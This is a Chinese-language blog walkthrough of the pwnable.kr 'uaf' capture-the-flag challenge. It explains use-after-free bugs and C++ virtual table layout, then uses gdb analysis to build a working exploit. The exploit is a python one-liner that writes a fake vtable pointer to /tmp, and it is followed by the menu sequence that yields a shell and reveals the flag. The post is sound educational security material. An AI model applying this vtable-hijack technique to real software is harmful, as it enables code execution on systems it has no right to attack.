pwnable.kr [Toddler's Bottle] - uaf

Mommy, what is Use After Free bug?

ssh [email protected] -p2222 (pw:guest)

根據提示已經可以知道這裏需要我們利用漏洞Use-After-Free(UAF)。
該漏洞的簡單原理爲:

  1. 產生迷途指針(Dangling pointer)——已分配的內存釋放之後,其指針並沒有因爲內存釋放而置爲NULL,而是繼續指向已釋放內存。
  2. 這塊被釋放的內存空間中被寫入了新的內容。
  3. 通過迷途指針進行操作時,會錯誤地按照釋放前的偏移邏輯去訪問新內容。

關於UAF的詳細介紹可參見 https://en.wikipedia.org/wiki/Dangling_pointer

先看源碼再來分析思路:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;   
}

看到這裏大致的思路已經有了。
程序給我們提供了三個選擇,調用對象的虛函數、分配自定義的堆空間並寫入自定義的內容、釋放對象在堆中的內存空間。
這裏我們需要按照312的方式執行程序:

  • 釋放指針m, w指向的的內存空間,同時m, w沒有被置爲NULL
  • 構造一個文件,文件中含有要去m或w指定的空間中寫入的內容
  • 調用虛函數,到這裏程序的執行流程已經被劫持。

所以這裏的重點就是如何構造要寫入的內容。


在解決這個問題之前,需要先知道虛函數的調用機制。因爲題目的需要,先不討論虛繼承和多重繼承的情況:

在C++中,每一個含有虛函數的類都會有一個虛函數表,簡稱虛表。與之對應的,每一個對象都會有其專屬的虛表指針指向這個虛表。

(值得一提的是,在一個繼承樹中,沒有被覆寫的虛函數雖然在被保存在不同的虛表中,但其地址是一致的。覆寫後子類的虛表保存了覆寫後的虛函數地址。

如果是多重繼承,那麼根據基類的個數會有多個虛表對應這個類;
如果是虛繼承,那麼子類會有兩份虛指針,一份指向自己的虛表,另一份指向虛基表,多重繼承時虛基表與虛基表指針有且只有一份。

虛函數是按照在虛表中的偏移進行調用的,同時虛表通過虛表指針和對象進行關聯,接下來我們再瞭解一下對象在內存中的保存結構:

對象在內存開闢空間後,按照虛表指針、繼承自基類的成員、類自身的成員的順序進行存儲。(如果是多重繼承和虛繼承,可能存在多個虛表指針)

關於類和虛表的內存分佈可以參考 http://www.cnblogs.com/jerry19880126/p/3616999.html
注:僅做參考,關於其中所述的“虛指針繼承”等內容有待商榷。


理清上述的概念之後,我們在這裏就可以使用UAF,計算目標函數在虛表中的偏移,“重寫”虛表指針中保存的虛表地址,控制虛函數調用流程前往目標函數處。

另外,這裏還應該知道的是,C++類的對象創建含有這6個函數調用過程:

–> std::allocator< char >::allocator(void)
–> std::allocator< char >>::basic_string()
–> operator new(ulong)
–> Class Conductor
–> std::allocator< char >>::~basic_string()
–> std::allocator< char >::~allocator(void)

爲了方便觀察,在本地編譯uaf.cpp後用IDA查看,可以更直觀地看到這一調用機制:
這裏寫圖片描述

完成了以上的準備工作後,直接在Host上用gdb調試程序(慚愧,眼拙的我到今天纔看到 - to use peda, issue 'source /usr/share/peda/peda.py' in gdb terminal ,原來Host主機上也可以使用peda….)

往後單步調試,可以看到調用 new(ulong) 開闢空間時參數爲0x18,說明這裏Man的對象大小爲24字節。
這裏寫圖片描述

在man類構造函數調用完成後,查看寄存器和棧的情況:
這裏寫圖片描述

如圖所示,此時rbx中存放着對象m的首地址0x18bbc50,這裏可以看到peda已經爲我們提出了對象m前8個字節保存的內容(略去了0x00),即爲虛表指針指向的虛函數表地址,該虛表中保存第一個函數地址即爲目標函數give_shell。

這裏我們通過 x 命令觀察對象m所開闢的內存空間的情況:
這裏寫圖片描述
可以清晰地看到,Man類對象在內存中按8字節對齊,依次保存了虛表指針(指向類Man的虛函數表0x401570),繼承自基類的成員age( 0x19 = 25),繼承自積累的成員name(字符串地址爲0x18bbc38,前往該地址查看內容即爲“Jack”)。

前往0x401570處看到Man的虛函數表並進一步跟進:
這裏寫圖片描述
得到目標函數give_shell的指令起始地址爲0x40117a(相對虛表首地址編譯爲0),introduce函數的指令起始地址爲0x4012d2(相對虛表首地址偏移爲8)。

根據思路,我們只要利用UAF改寫對象內存空間中虛表指針指向的地址 = 虛函數表首地址 - 8,即可將give_shell“當做”introduce來執行。

另外,由於執行內存釋放先施放了m,而後才釋放了w,所以我們在開闢小於等於24字節的空間時,系統優先考慮的是使用原先w指針指向的對象佔用的空間。

而又因爲introduce函數分別由m,w指向的對象來調用,所以內存釋放後先調用的是m指向的introduce函數,爲了避免報錯,m指向的內存空間也應該被覆寫。

同樣地,我們利用相同的方法找到w指向的堆空間首地址以及類Woman的虛函數表首地址:
這裏寫圖片描述

利用python在tmp下創建文本並寫入內容爲 0x0000000000401550 - 0x08 = 0x0000000000401548,注意小端序;構造參數一小於等於24,參數二爲該文本的路徑,得到shell:

uaf@ubuntu:~$ python -c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafUm
uaf@ubuntu:~$ ./uaf 20 /tmp/uafUm
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning



題外話,
這段時間面臨了很多選擇和困惑,
也因爲自己的不強大導致了在將要做出選擇時變得猶猶豫豫甚至畏手畏腳;

無論前路如何,勿忘初心,相信自己,善待自己。
最大的心願還是世界和平,希望可以愛人和被愛。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章